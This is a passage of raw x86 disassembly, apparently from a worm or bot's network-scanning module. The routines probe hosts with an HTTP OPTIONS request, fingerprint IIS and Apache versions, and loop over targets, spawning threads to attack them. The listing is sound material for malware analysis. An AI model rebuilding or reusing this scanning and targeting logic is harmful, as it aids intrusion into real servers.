sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CC70 lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EB24 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CCA8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: sub_4167F1+DAp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCF6[ecx] and ecx, 0FFh mov eax, off_41CCFE[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCFE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCF6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCF6[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCF6[eax] cmp eax, dword_41CCF6[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CD90 push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset dword_41CD88 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CD80 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DE30 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E2D8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CE78 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2D8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CE40 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF48 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CE2C lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CDE8 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CCD0[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 